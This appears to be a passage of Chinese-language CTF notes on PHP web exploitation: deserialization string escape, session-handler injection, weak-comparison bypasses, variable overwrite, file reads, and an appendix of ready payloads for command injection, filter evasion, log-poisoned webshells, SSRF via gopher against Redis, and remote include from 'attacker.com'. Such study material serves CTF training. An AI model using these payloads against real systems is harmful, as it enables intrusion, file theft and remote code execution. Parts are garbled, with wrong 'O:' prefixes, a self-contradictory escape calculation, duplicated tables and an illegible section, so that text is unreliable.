$result = unserialize(filter($ser));
echo $result->is_admin; // 能否变成 1?
?>

```

原理分析:

正常序列化 (user="hello"):

```
0:6:"Config":2:{s:4:"user";s:5:"hello";s:8:"is_admin";i:0;}
```

如果 user = "admin":

```
0:6:"Config":2:{s:4:"user";s:5:"admin";s:8:"is_admin";i:0;}
```

↑ 5个字节

过滤后 admin 被删:

```
0:6:"Config":2:{s:4:"user";s:5:"";s:8:"is_admin";i:0;}
```

↑ 内容变为空字符串, 但长度字段仍是 5

PHP 尝试读5字节内容 → 把 ";s:8 当成内容的一部分 → 解析错乱

利用方向: 让长度字段比内容多出的部分恰好"吞入"后面真实的
";s:8:"is_admin";i:0;} 片段, 使 PHP 误把它当 user 的值, 然后我们伪造的
is_admin=1 作为新属性被解析。

构造步骤:

```

// 我们希望 is_admin 被覆盖为 1
// 需要吞掉的内容: ";s:8:"is_admin";i:0;} (24字节)

```

```

// 每删一个 admin (5字节)，长度字段多出5字节（内容少了5字节但声明没变）
// 需要多出 24 字节 → 需要 ceil(24/5) 个 admin = 5 个 admin（多出25字节）
// 多出25字节 - 实际需吞24字节 = 多1字节，用1个任意字符补位

// user 值 = 5个"admin" + 1个填充字符 + 闭合并注入
// 被删除后: user 内容变空，但长度字段声明还是 5*5+1+...

// 更简单的思路: 直接计算
$real_suffix = '";s:8:"is_admin";i:0;}'; // 要吞掉的后缀，24字节
// 需要删掉 24 字节 → 5个admin=25字节，多删1字节用x补
// user = "adminadminadminadminadminx"; (5*5+1 = 26字节)
// 过滤后变为 "x" (1字节)，但长度声明还是 26
// PHP读26字节 → 读了 x";s:8:"is_admin";i: (26字节) → 后续 0;} 继续解析
// → 发现多余的 0;} 无法闭合 → 失败

// 正确方式: 让多余的长度恰好吞掉后续的真实序列化内容
// 然后我们在 user 末尾追加 ";s:8:"is_admin";i:1;} 作为注入
payload:
?user=adminadminadmin";s:8:"is_admin";i:1;

```

完整可复现示例（减量逃逸）：

```

<?php
class Info {
    public $name;
    public $vip;
}

function filter($s) {
    return str_replace("hacker", "h", $s); // hacker(6字节) → h(1
    字节), 每次少5字节
}

// 目标: vip 从 0 改成 1
// 正常序列化 vip 部分: ;s:3:"vip";i:0;} 共16字节
// 需要吞掉: ";s:3:"vip";i:0;} = 17字节（含前面的分号引号）
// 每个 hacker 少 5 字节 → ceil(17/5) = 4 个 hacker → 少20字节
// 多出20-17=3字节，用 "xxx" 补到 name 里

```



```

// name = "hackerhackerhackerhackerxxx" + 注入内容
// 注入内容: ";s:3:"vip";i:1;}" (关闭当前name, 注入vip=1, 关闭对象)

$inject = '";s:3:"vip";i:1;}' ; // 注入片段 17字节
$hacker_count = 4; // 4个hacker, 多删20字节
$padding = str_repeat("x", 20 - strlen($inject) + strlen($inject));
// 重新计算:
// 4个hacker过滤后变4个h, 共少 4*5=20字节
// 但声明长度还是原来的 4*6+... = ...
// 让 PHP 多读20字节 → 恰好读完";s:3:"vip";i:0;}" (17字节) + 3字节乱读 →
不够精确

// 更清晰的方式(直接手算):
$name = str_repeat("hacker", 4) . "xxx" . '";s:3:"vip";i:1;}' ;
// 原始 name 长度 = 6*4 + 3 + 17 = 44
// 过滤后 name 内容 = "h"*4 + "xxx" + 注入 = 4+3+17 = 24字节, 但声明44
// PHP读44字节: 先读4个h(4), 再读xxx(3), 再读";s:3:"vip";i:1;}" 中的前37字
节?
// → 这样不对, 注入内容也会被当成 name 值的一部分

// ===== 正确方式 =====
// 让注入内容在"声明长度"被读完之后出现
// name实际内容(过滤后) = 4个h + xxx = 7字节, 但声明 6*4+3 = 27字节
// PHP读27字节: 读完7字节后继续读 ";s:3:"vip";i:0;}" 的前20字节
// 读到 ";s:3:"vip";i:0;}" 刚好! (17字节 < 20字节 → 还差3字节)

// 最精确推导:
// 要吞掉的字符串 target = ';s:3:"vip";i:0;}' → 16字节(不含最外层}, 因
为对象结束}也要保留)

$obj = new Info();
$target = ';s:3:"vip";i:0;}' ; // 16字节, 将被"吞入" name 的值中
$need = strlen($target); // 16
// 每个 hacker 少 5 字节 → 需要 ceil(16/5) = 4 个 hacker (少20字节)
// 多出 20-16=4 字节 → 追加 4 个任意字符作填充
$obj->name = str_repeat("hacker", 4) . str_repeat("x", 4) .
';s:3:"vip";i:1;}' ;
$obj->vip = 0;

echo "name 设置为: " . $obj->name . "\n";

```

```

$ser      = serialize($obj);
echo "\n序列化:\n" . $ser . "\n";
$filtered = filter($ser);
echo "\n过滤后:\n" . $filtered . "\n";
$result   = unserialize($filtered);
echo "\nvip = " . $result->vip . "\n";    // 期望输出 1
?>

```

5.4 常见触发函数与场景

函数	方向	说明
<code>str_replace("a", "aa", \$s)</code>	增量	每个 a 变 aa，内容变长
<code>str_replace("admin", "hacker", \$s)</code>	增量	5字节→6字节，每次+1
<code>str_replace("script", "", \$s)</code>	减量	6字节→0，每次-6
<code>str_replace("admin", "", \$s)</code>	减量	5字节→0，每次-5
<code>addslashes(\$s)</code>	增量	' → \'，" → \" (+1字节)
<code>htmlspecialchars(\$s)</code>	增量	< → < (+3字节)，> → >
<code>preg_replace("/[aeiou]/", "xxx", \$s)</code>	增量	元音字母→3字节

快速判断方向：

过滤后字符变多（如 a→aa）→ 增量逃逸
 过滤后字符变少（如 admin→空）→ 减量逃逸

5.5 实战构造方法

通用步骤（CTF解题流程）：

Step 1: 识别过滤函数
 → 确认是增量还是减量，以及每次变化多少字节

Step 2: 确定注入目标
 → 要改哪个属性，改成什么值

→ 构造注入字符串（要能完整闭合序列化结构）

Step 3: 计算填充量

增量：填充字节数 = 注入字符串长度（让多出的字节恰好"承载"注入内容）

减量：填充量 = 需要吞掉的后续字节数（让长度声明比内容多出的部分恰好吞入后续字段）

Step 4: 构造 name 值

增量：name = 填充字符（触发增量的字符）× 填充数 + 注入内容

减量：name = 触发减量的字符串 × N + 调整填充 + 注入内容

Step 5: 验证

→ 本地运行，打印序列化和过滤后的字符串

→ 手动用 `unserialize` 验证目标属性是否被修改

常用注入模板（增量逃逸）：

```
// 目标：把属性 role 从 guest 改成 admin
// 注入片段（改最后一个属性）：
$inject = '";s:4:"role";s:5:"admin";}';

// 注入片段（中间属性，后面还有属性）：
$inject = '";s:4:"role";s:5:"admin";s:3:"age";i:0;}';
//          ↑ 要把后续真实属性也"重新声明"一遍
```

常用注入模板（减量逃逸）：

```
// 目标：把后续属性 is_vip 从 0 改成 1（吞掉原始的 is_vip 声明）
$suffix_to_eat = 's:6:"is_vip";i:0;}'; // 要吞掉的内容
$inject = '";s:6:"is_vip";i:1;}'; // 注入新的 is_vip=1
```

6. Session 反序列化

漏洞产生：写入格式和读取格式不一致

- `ini_set('session.serialize_handler', 'php')` → 运行时修改 *PHP* 配置项
- `session_start()` → 开启 *session*，自动读取并!!!反序列化!!! *session* 文件，这是触发点
- `$_SESSION['key'] = $val` → 写入 *session*；*PHP* 自动序列化后存入文件
- 字符串中的 `|`（竖线）在 *php* 处理器格式里是键名与值的分隔符，不是普通字符
- `urlencode($str)` → 将字符串 *URL* 编码，发送 *payload* 时使用

与 *Session* 文件包含的区别：

- *Session* 文件包含：*LFI* 把 `/tmp/sess_xxx` 当 *PHP* 文件包含执行，利用的是 *include* 的代码执行特性。
- *Session* 反序列化：利用 *PHP* 两种不同 *session* 序列化处理器之间的格式差异，写入时用处理器 *A*，读取时用处理器 *B*，导致反序列化解析错误，从而注入恶意对象。

6.1 PHP Session 机制回顾

```
session_start();           // 开启 session
$_SESSION['user'] = 'admin'; // 写入 session

// PHP 会：
// 1. 生成 PHPSESSID（如 abc123）
// 2. 在服务器创建文件 /tmp/sess_abc123
// 3. 把 $_SESSION 内容序列化后写入该文件
// 4. 下次请求时读取并反序列化还原
```

Session 文件位置：

```
/tmp/sess_[PHPSESSID]      # 默认
/var/lib/php/sessions/sess_xxx # 某些发行版
/var/lib/php5/sess_xxx     # 旧版
# 通过 session.save_path 配置项查看
```

6.2 三种序列化处理器对比

PHP 的 `session.serialize_handler` 支持三种格式：

① `php`（默认）*

格式：键名|`serialize($value)`

示例：`user|s:5:"admin";age|i:18;`

② `php_binary`

格式：[键名长度(1字节二进制)]键名`serialize($value)`

示例：`\x04users:5:"admin";`

（键名 `user` 长度=4，用1字节二进制 `\x04` 表示）

③ `php_serialize`（**PHP 5.5.4+**）*

格式：`serialize($_SESSION 整个数组)`

示例：`a:1:{s:4:"user";s:5:"admin";}`

关键差异速查：

处理器	格式特征	管道符 的含义
php	key serialize(val)	键名与值的分隔符
php_binary	[二进制长度]key+serialize(val)	键名与值的分隔符
php_serialize	serialize(array)	键名与值的分隔符

处理器	格式特征	管道符 的含义
php	key serialize(val)	键名与值的分隔符
php_binary	[二进制长度]key+serialize(val)	键名与值的分隔符
php_serialize	serialize(array)	键名与值的分隔符

处理器	格式特征	管道符 的含义
php	key serialize(val)	键名与值的分隔符
php_binary	[二进制长度]key+serialize(val)	键名与值的分隔符
php_serialize	serialize(array)	键名与值的分隔符

处理器	格式特征	管道符 的含义
PHP_BINARY	二进制长度+键名+ SERIALIZE(VAL)	普通字符
PHP_SERIALIZE	整体 SERIALIZE 数组	普通字符（在字符串值内）

处理器	格式特征	管道符 的含义
PHP_BINARY	二进制长度+键名+ SERIALIZE(VAL)	普通字符
PHP_SERIALIZE	整体 SERIALIZE 数组	普通字符（在字符串值内）

读用php 写用php_serialize 只需要加个| 在需要输入的内容前即可 图片见下方

6.3 漏洞原理：处理器不一致

漏洞触发条件：

写入 session 时使用处理器 A（如 php_serialize）
读取 session 时使用处理器 B（如 php）

为什么会出现这种情况？

```
// 页面1（写入）：php.ini 全局配置 session.serialize_handler =  
php_serialize  
session_start();  
$_SESSION['data'] = $_GET['input']; // 用 php_serialize 写入  
  
// 页面2（读取）：页面内动态修改了处理器  
ini_set('session.serialize_handler', 'php'); // 改用 php 格式读取  
session_start();  
$obj = $_SESSION['data']; // 用 php 格式解析 php_serialize 写入的内容
```

漏洞触发原理详解：

php_serialize 写入的内容：
a:1:{s:4:"data";s:xx:"[用户输入]";}

用 php 格式读取时，php 处理器以 | 作为分隔符
如果用户输入中包含 |，则 | 后面的内容会被当作序列化值来反序列化！

image-20260729225039040

6.4 完整利用流程

漏洞代码（可复现）：

```
<?php
// upload.php（写入页面，使用 php_serialize）
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['user'] = $_GET['input'];    // 用户可控
echo "Session 写入成功";
?>

<?php
// index.php（读取页面，使用默认 php 处理器）
// php.ini 中: session.serialize_handler = php（默认）
session_start();
// 读取 session 时自动反序列化，若 session 中有恶意对象则触发魔术方法

class Evil {
    public $cmd;
    public function __wakeup() {
        system($this->cmd);
    }
}

?>
```

Step 1: 构造恶意序列化字符串

```
<?php
class Evil {
    public $cmd = "cat /flag";
}
$evil = new Evil();
$payload = serialize($evil);
echo $payload;
// o:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";}
?>
```

Step 2: 构造写入 Session 的 input 值

写入时用 `php_serialize` 格式，整体是：

```
a:1:{s:5:"user";s:xx:"[input]";}
```

读取时用 `php` 格式，以 `|` 分割：

分割点 $\rightarrow$ `[input]` 中包含 `|`，`|` 后面作为序列化对象被反序列化

所以 `input = | + 恶意序列化字符串`

Payload

```
input = |0:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";}
```

URL 编码后：

?

```
input=%7C0%3A4%3A%22Evil%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D
```

Step 3: 访问写入页面，注入 Session

```
curl "http://target/upload.php?
```

```
input=%7C0%3A4%3A%22Evil%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D" \
```

```
-b "PHPSESSID=mytest123"
```

Step 4: 访问读取页面，触发反序列化

```
curl "http://target/index.php" \
```

```
-b "PHPSESSID=mytest123"
```

```
# 触发 Evil::__wakeup  $\rightarrow$  system("cat /flag")  $\rightarrow$  输出 flag
```

Session 文件实际内容验证：


```
# 写入后查看 Session 文件
cat /tmp/sess_mytest123
# php_serialize 格式写入:
# a:1:{s:5:"user";s:XX:"|0:4:"Evil":1:{s:3:"cmd";s:9:"cat
/flag";}}";}

# 用 php 处理器读取时, 以 | 分割:
# 键名: a:1:{s:5:"user";s:XX:"      (前面部分)
# 值: 0:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";} ← 被反序列化!
```

另一种场景（**php_binary** → **php**）：

```
// php_binary 格式写入: \x05user|s:5:"admin";
// 注意: php_binary 中 | 也是普通字符
// 若用 php 格式读取, 仍以 | 分割, 效果相同
// payload 同上, 在 input 中包含 |
```

6.5 与 Session 文件包含的区别

对比项	SESSION 文件包含	SESSION 反序列化
利用的漏洞	LFI（本地文件包含）	序列化处理器差异
需要的条件	LFI + Session 内容可控 + 知道 PHPSESSID	写入用一种处理器, 读取用另一种
攻击方式	把 Session 文件当 PHP 文件 include	通过
Payload 形式	<?php system('id');?> 写入 Session 值	`
触发点	<code>include "/tmp/sess_xxx"</code>	<code>session_start()</code> 自动反序列化
执行时机	include 时立即执行	unserialize 后魔术方法触发

Session 文件包含 Payload 回顾：

```
# 写入含 PHP 代码的 Session
?name=<?php system($_GET['cmd']);?>

# 包含 Session 文件触发
?file=/tmp/sess_abc123&cmd=cat+/flag
```

Session 反序列化 Payload:

```
# 写入含序列化对象的 Session（注意 | 前缀）
?input=|O:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";}

# 访问读取页面（session_start 自动触发）
GET /index.php Cookie: PHPSESSID=xxx
```

7. 弱类型与比较

本章所需语法速查

- `==`（松散比较）会做类型转换再比较；`===`（严格比较）类型和值都必须相同
- `is_numeric("1e5")` → `true`（科学计数法也算数字字符串！）
- `intval("1abc")` → `1`（截取前缀数字）；`intval("abc")` → `0`
- `strcmp($a, $b)` → 相等返回 `0`（注意：传数组会返回 `null`，`null == 0` 为 `true`）
- `md5($str)` → 32位十六进制字符串；若以 `0e` 开头，*PHP* 会把它当科学计数法 `0`
- `(bool)""` → `false`；`(bool)"0"` → `false`；`(bool)"false"` → `true`（非空非`0`均为`true`）

7.1 类型转换规则（字符串→数字、科学计数法）

原理：PHP 弱类型导致比较时自动进行类型转换，攻击者可利用转换规则绕过验证。

危险点：使用 `==` 比较时，字符串会被自动转为数字。

```

"1abc" == 1    // true  → 字符串开头数字被提取
"abc"  == 0    // true  → 非数字字符串转为 0（PHP7以下）

// 布尔比较
"admin" == true    // true
""      == false   // true
null    == false   // true
0       == false   // true

// 数组比较
[] == false // true
[] == 0     // true

```

7.2 == 与 ===

PHP 版本差异影响弱比较：

版本	0 == "ABC"	ASSERT() 执行字符串	%00 截断
PHP 5.x	true	✓	✓
PHP 5.3.4以下	true	✓	✓
PHP 7.x	false	✗	✗
PHP 8.x	false	✗	✗

7.3 典型利用

md5 0e 绕过

```

// PHP 弱比较时，0e 开头的字符串会被当作科学计数法（0^n = 0）
"0e123456" == "0e654321" // true! 均等于 0

```

常见 **MD5** 碰撞值（**0e**开头）：

原始字符串	MD5值
240610708	0e462097431906509019562988736854
QNKCDZO	0e830400451993494058024219903391
s878926199a	
s155964671a	

```
// 场景1: 弱比较
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] !==
$_GET['b']) {
    echo $flag;
}
// 绕过: ?a=QNKCDZO&b=240610708

// 场景2: 强比较 + 数组
if (md5($str1) === md5($str2)) { echo $flag; }
// 绕过: ?gat[]=&tag[]=(数组传参, md5返回NULL, NULL===NULL)
// 若标注不相等 后面那个赋值成1
// 场景3: md5碰撞 (强比较且不接受数组)

// if (md5($a) === md5($b) && $a !== $b)
// 使用工具: fastcoll、hashclash
// fastcoll -p 1.txt -o 2.txt 3.txt
// 对两个文件分别进行url编码写入payload
```

strcmp (数组→NULL)

```
// strcmp(str1, str2): str1<str2返回<0; 相等返回0; str1>str2返回>0
if (strcmp($_GET['pass'], $secret) == 0) { echo $flag; }
// strcmp(array, string) 返回 NULL, NULL == 0 → true
// 绕过: ?pass[]=anything
```

sha1 (数组→NULL)

```
if ($get != $teg && sha1($get) == sha1($teg)) {
    echo $flag;
}

// sha1 不能接受数组，传入数组返回 NULL
// Payload: ?get[]=&teg[]=1
```

is_numeric / intval

```
$flag = 'flag{111}';
$id = $_GET['id'];
if(is_numeric($id) > 0){
    echo 'Out!';
}else{
    if ($id > 233) {
        echo $flag;
    }
}

// Payload: ?id=2333, 或 ?id=2333%00 或 ?id=2333A
// 弱类型: $id > 233 时字符串取前缀数字进行比较
```

7.4 浮点精度

[illegible]

8. 变量覆盖（变量污染）

 本章所需语法速查

- `$$var` → 可变变量：以 `$var` 的值作为变量名。 `$a="cmd"; $$a="id";` 等同于 `$cmd="id"`
- `extract($arr)` → 把关联数组的每个键值对变成变量： `extract(["x"=>1])` → `$x=1`
- `parse_str($str, $arr)` → 把查询字符串解析为变量：
`parse_str("a=1&b=2")` → `$a=1, $b=2`
- `foreach ($arr as $k => $v)` → 遍历数组，`$k` 是键，`$v` 是值
- `$$k = $v` → 把键名作为变量名赋值，这是变量覆盖的核心写法

8.1 \$\$（可变变量）

原理： `$$var` 即：`$( $var )` 以 `$var` 的值作为变量名，再取该变量的值。

危险点： 若 `$var` 可控，则 `$$var` 相当于可以读取/写入任意变量。

```
$var = "flag";  
$$var = "value";  
// 等同于 $flag = "value"  
  
// CTF场景：利用可变变量覆盖关键变量
```

⚠ `$$key = $value` = 把用户输入的参数名，当作变量名来赋值

误区： `?id=value` 只是把参数名和参数值放入 `$_GET` 数组 并非给变量赋值 除非 `$id = $_GET['id'];` 或者本章节的变量覆盖。

```
$is_admin = false;

foreach ($_GET as $key => $value) {
    $$key = $value;
}

if ($is_admin) {
    echo "flag";
}
```

payload: ?is_admin=1

8.2 extract

原理： `extract($_GET)` 把 GET 参数的键名作为变量名、值作为变量值注入当前作用域。

危险点： 可覆盖任意已有变量。

```
$auth = false;
extract($_GET);    // ?auth=1 → $auth 被覆盖为 "1"
if ($auth) {
    echo $flag;
}
```

利用方式： 直接传同名参数覆盖鉴权变量、flag 变量、配置变量。

绕过： `?flag=fake&auth=1` 配合具体代码分析。

8.3 parse_str

原理： 把字符串解析为变量，和 `extract` 类似，覆盖当前作用域变量。

危险点： 无第二个参数时直接注入当前作用域。

```
parse_str($_GET['data']);
// ?data=flag=fake → $flag 被覆盖为 "fake"
```

```

parse_str("flag=fake&auth=1");
// $flag = "fake"; $auth = "1";
$UIUCTF = "UIUCTF Hacker.";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $flag;
}else{
    echo "Out!";
}
#QNKCDZO = 0e830400451993494058024219903391

```

Payload: **?id=a[0]=240610708** (因为id变量可控 所以用id变量覆盖a[0]变量)

8.4 register_globals（历史遗留）

PHP 4/5 时期的配置项，开启后 GET/POST/COOKIE 参数自动注册为全局变量，已在 PHP 5.4 废弃。

```

// register_globals = On 时
// URL: ?admin=1
// 直接得到 $admin = "1", 无需任何代码
if ($admin) { echo $flag; }

```

8.5 利用模型（覆盖鉴权变量、控制流程）

常见覆盖目标：

```

// 目标1: 覆盖鉴权变量
$is_admin = false;
extract($_GET);
if ($is_admin) { echo $flag; }
// 攻击: ?is_admin=1

// 目标2: 覆盖比较变量

```



```
$secret = "hardcoded";
extract($_GET);
if ($_GET['pass'] === $secret) { echo $flag; }
// 攻击: ?pass=abc&secret=abc

// 目标3: 覆盖文件路径
$template = "default.html";
extract($_GET);
include $template;
// 攻击: ?template=php://filter/...

// 目标4: 利用 parse_str 二次覆盖
$flag = "real_flag";
parse_str($_SERVER['QUERY_STRING']);
// URL传入 flag=fake → 覆盖 $flag
```

9. 文件读取（非包含）

本章所需语法速查

- `file_get_contents($path)` → 读取文件全部内容，返回字符串（不执行 PHP 代码）
- `fopen($path, 'r')` → 打开文件返回句柄；`fread($handle, $size)` 读取；`fclose($handle)` 关闭
- `file($path)` → 读取文件，返回数组，每行是一个元素
- `readfile($path)` → 直接输出文件内容到浏览器，返回字节数
- 路径支持伪协议：`file_get_contents("php://filter/convert.base64-encode/resource=flag.php")`
- `echo` / `print` → 输出字符串；`var_dump($val)` → 输出变量详细信息（含类型）

9.1 file_get_contents / fopen

原理： 读取文件内容并返回字符串，不解析 PHP 代码（与 include 的本质区别）。

危险点： 路径可控时可读取任意文件。

利用方式： 读取源码、配置文件、flag 文件、敏感系统文件。

```
// 典型漏洞代码
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;

// 读取: ?file=/etc/passwd
// 读取: ?file=/var/www/html/config.php
// 读取: ?file=/flag
```

文件操作危险函数：

函数	危险点
file_get_contents(\$path)	读取任意文件/URL
file_put_contents(\$path, \$data)	写入任意文件（写shell）
fopen(\$path, 'r')	打开文件
readfile(\$path)	输出文件内容
copy(\$src, \$dst)	复制文件
rename(\$old, \$new)	重命名/移动文件
unlink(\$path)	删除文件

9.2 与包含的差异

对比项	INCLUDE	FILE_GET_CONTENTS
解析代码	✅ 执行 PHP 代码	❌ 只读内容，不执行
读源码	直接包含会执行，需filter	直接读内容（源码可见）
利用方式	LFI → RCE（通过伪协议等）	任意文件读取

9.3 与伪协议的配合

`file_get_contents` 也支持伪协议，可利用 `php://filter` 读取 PHP 源码：

```
// 题目代码
$content = file_get_contents($_GET['url']);
echo $content;

// 利用伪协议读源码
?url=php://filter/convert.base64-encode/resource=index.php

// 读取本地文件
?url=file:///etc/passwd

// SSRF：访问内网服务
?url=http://127.0.0.1/admin
?url=dict://127.0.0.1:6379/info
?url=gopher://127.0.0.1:6379/_...
```

与 **SSRF** 的关系：`file_get_contents($url)` 和 `curl_exec($ch)` 是 SSRF 最常见的触发点，见附录 SSRF 部分。

10. 附录

常用 Payload 模板

```
# ===== 文件读取 =====
?url=php://filter/convert.base64-encode/resource=flag.php
?url=php://filter/convert.base64-encode/resource=index.php
?url=../../../../etc/passwd
?url=../../../../flag

# ===== 命令执行 =====
?cmd=cat /flag
?cmd=cat${IFS}/flag # 空格绕过 (IFS)
```

```

?cmd=cat$IFS$9/flag          # 空格绕过 (IFS+$9)
?cmd=cat</flag                # 重定向绕过空格
?cmd={cat,/flag}              # 花括号绕过空格
?cmd=tac${IFS}/flag           # cat被禁时用tac
?cmd=nl${IFS}/flag            # nl替代cat

# ===== 命令连接符 =====
?ip=127.0.0.1;cat /flag       # 顺序执行
?ip=127.0.0.1&&cat /flag       # 逻辑与
?ip=aaa||cat /flag            # 逻辑或 (前面失败)
?ip=127.0.0.1|cat /flag       # 管道

# ===== 编码执行 =====
?cmd=echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|sh

# ===== 弱比较绕过 =====
?a=QNKCDZO&b=240610708        # MD5弱比较 (0e开头)
?a[]=1&b[]=2                   # 数组绕过md5/strcmp

# ===== 文件包含 =====
# php://input (POST代码)
?file=php://input
POST: <?php system('cat /flag');?>

# data://直接执行
?
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTS/P
g==

# 日志投毒
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
?file=/var/log/nginx/access.log&cmd=cat+/flag

# ===== SSRF =====
?url=file:///etc/passwd
?url=http://127.0.0.1/admin
?url=http://2130706433/          # 127.0.0.1十进制
?url=dict://127.0.0.1:6379/info

# ===== 反序列化 =====

```

```

?data=0:4:"User":1:{s:4:"name";s:5:"admin";}
# __wakeup绕过（属性数量改大）
?data=0:4:"User":2:{s:4:"name";s:5:"admin";}

# ===== 变量覆盖 =====
?flag=fake                                # 配合extract()使用

# ===== 路径绕过 =====
..././..././etc/passwd                    # str_replace ../绕过
..%2f..%2fetc%2fpasswd                    # URL编码

```

常见函数速查表

漏洞类型	关键函数/特性	利用方式
弱比较绕过	<code>==</code> , <code>switch</code>	0e开头MD5, 数组, 类型转换
命令执行 RCE	<code>system()</code> , <code>eval()</code> , <code>exec()</code>	参数可控, 拼接命令
本地文件包含 LFI	<code>include</code> , <code>require</code>	路径遍历, 伪协议
远程文件包含 RFI	<code>include</code> + url	外部恶意PHP文件
反序列化	<code>unserialize()</code>	构造POP链, 触发魔术方法
变量覆盖	<code>extract()</code> , <code>parse_str()</code>	覆盖关键变量
文件上传	<code>move_uploaded_file()</code>	上传webshell
SSRF	<code>file_get_contents()</code> , <code>curl</code>	探测内网, 读取文件
代码注入	<code>eval()</code> , <code>preg_replace /e</code>	执行任意PHP代码
任意文件读取	<code>file_get_contents()</code> , <code>readfile()</code>	读取敏感文件

WAF 绕过方法论

核心思路：不是背 **payload**，而是理解过滤规则→找盲区→构造绕过

1. 判断过滤类型

黑名单（禁止特定字符/关键字）→ 找替代

白名单（只允许特定内容）→ 找格式差异

2. 找绕过方向

关键字被过滤 → 编码/拆分/大小写/替代函数

空格被过滤 → IFS/\${IFS}/Tab/重定向符

引号被过滤 → 变量拼接/编码

括号被过滤 → 反引号/部分函数不需要括号

3. 验证绕过

从简单到复杂逐步测试

确认过滤是黑名单还是递归替换

关键字过滤绕过：

① 大小写变换

```
SyStEm('id');
```

② 字符串拼接

```
$a='sys';$b='tem';$a.$b('id');
```

③ 函数名字符串化调用

```
$f='system';$f('id');
```

```
call_user_func('system','id');
```

④ 编码绕过

```
eval(base64_decode('c3lzdGVtKCdpZCcp'));
```

⑤ 利用PHP未禁用的危险函数变体

```
assert('system("id")'); // PHP5中assert可执行字符串
```

引号过滤绕过：

用chr()拼接

```
system(chr(105).chr(100)); # chr(105)='i', chr(100)='d' → "id"
```

用base64还原

```
system(base64_decode('awQ='));
```

综合WAF绕过示例：

```
# 题目：eval黑名单过滤了system/exec/passthru，但没过滤其他
?code=print_r(get_defined_functions()); # 列所有可用函数

# 题目：过滤了所有括号
echo `cat /flag`; # 反引号不需要括号

# 题目：过滤了反引号和括号
include "/flag"; # include不是函数，不用括号（内容是PHP则执行）

# 题目：过滤了cat关键字（命令执行场景）
tac /flag
nl /flag
c'a't /flag # 引号拆分
```

PHP版本差异速查：

版本	关键差异	CTF影响
PHP 5.x	<code>assert()</code> 可执行字符串； <code>0=="abc"</code> 为true	<code>assert</code> 可用于代码执行
PHP 5.3.4以下	<code>%00</code> 截断文件名	文件上传/包含截断
PHP 5.6.25以下	<code>__wakeup</code> CVE-2016-7124 可绕过	反序列化绕过wakeup
PHP 7.x	<code>0=="abc"</code> 变为false； <code>assert</code> 不再执行字符串	弱比较部分失效
PHP 7.4	FFI扩展引入	<code>disable_functions</code> 绕过新方向
PHP 8.x	更严格的类型系统； <code>match</code> 替代 <code>switch</code> （强比较）	更多弱比较失效

SSRF 完整利用

核心：让服务器替我们发请求，访问内网/读取文件/攻击内网服务

触发SSRF的PHP函数：

```
file_get_contents($url);    // 最常见
curl_exec($ch);            // curl执行请求
fsockopen($host, $port);    // 打开socket连接
fopen($url, 'r');           // 打开URL流
```

① 读取内网/本地文件

```
?url=file:///etc/passwd
?url=file:///flag
?url=file:///var/www/html/config.php

# 访问内网服务
?url=http://127.0.0.1/admin
?url=http://192.168.1.1/
?url=http://10.0.0.1:8080/
```

② 内网端口探测

```
?url=http://127.0.0.1:22      # SSH
?url=http://127.0.0.1:3306    # MySQL
?url=http://127.0.0.1:6379    # Redis
?url=http://127.0.0.1:8080    # web应用
```

③ Gopher 协议攻击内网服务（高阶）

```
# gopher:// 可以发送任意TCP数据，用来攻击内网服务

# 攻击 Redis（未授权访问）
?url=gopher://127.0.0.1:6379/_%2a1%0d%0a%248%0d%0aflushall%0d%0a...

# 攻击内网HTTP服务（发POST请求）
?url=gopher://127.0.0.1:80/_POST%20/admin/login%20HTTP/1.1...
```


④ dict 协议信息探测

```
?url=dict://127.0.0.1:6379/info      # 获取Redis信息
?url=dict://127.0.0.1:3306/         # 探测MySQL
?url=dict://127.0.0.1:22/           # 探测SSH版本
```

SSRF 过滤绕过

```
# 过滤了 127.0.0.1 → 用等价地址绕过
http://localhost/
http://0.0.0.0/
http://[::1]/                        # IPv6本地地址

# 进制转换绕过
http://2130706433/                  # 127.0.0.1 的十进制
http://0177.0.0.1/                  # 八进制
http://0x7f.0x0.0x0.0x1/            # 十六进制

# 利用 URL 解析差异绕过
http://evil.com@127.0.0.1/          # @前是用户名，实际访问127.0.0.1

# 过滤了 file:// → 利用其他协议读文件
?url=php://filter/convert.base64-encode/resource=/etc/passwd
```

SSRF 与 Redis 组合攻击

```
# 前提：内网Redis未授权访问（无密码），且web目录可写

# Redis写WebShell的命令序列：
# config set dir /var/www/html
# config set dbfilename shell.php
# set x "<?php system($_GET['c']);?>"
# save

# Gopher payload生成工具：
python gopherus.py --exploit redis
```

PHP 配置影响

审计前必看：这些配置直接决定哪些利用方式可行

配置项	默认值	影响
<code>allow_url_fopen</code>	On	允许用URL方式打开文件（http://等）
<code>allow_url_include</code>	Off	允许include远程文件/php://input/data://
<code>disable_functions</code>	空	禁用的PHP函数列表（RCE被限时必看）
<code>open_basedir</code>	空	限制PHP可访问目录（LFI被限时必看）
<code>display_errors</code>	Off	显示错误信息（影响信息泄露）
<code>phar.readonly</code>	On	禁止创建phar文件（On时无法本地生成phar）
<code>magic_quotes_gpc</code>	Off	自动转义（PHP5遗留，影响注入绕过）

`open_basedir` 绕过：

```
// 效果：PHP只能访问指定目录，/etc/passwd等被拦

// 绕过方法1：glob:// 列目录（不读内容，仅侦察）
print_r(glob("/*"));           // 列根目录文件

// 绕过方法2：shell命令读文件（绕过PHP层限制）
system("cat /etc/passwd");     // open_basedir只限PHP文件函数

// 绕过方法3：symlink竞争（需写权限，较复杂）
```

`allow_url_include` 影响一览：

```
// allow_url_include = Off 时以下协议无法用于include:
include "http://attacker.com/shell.php";      // RFI → ✗
include "php://input";                        // ✗
include "data://text/plain,<?php...?>";      // ✗

// allow_url_include = Off 时仍可用:
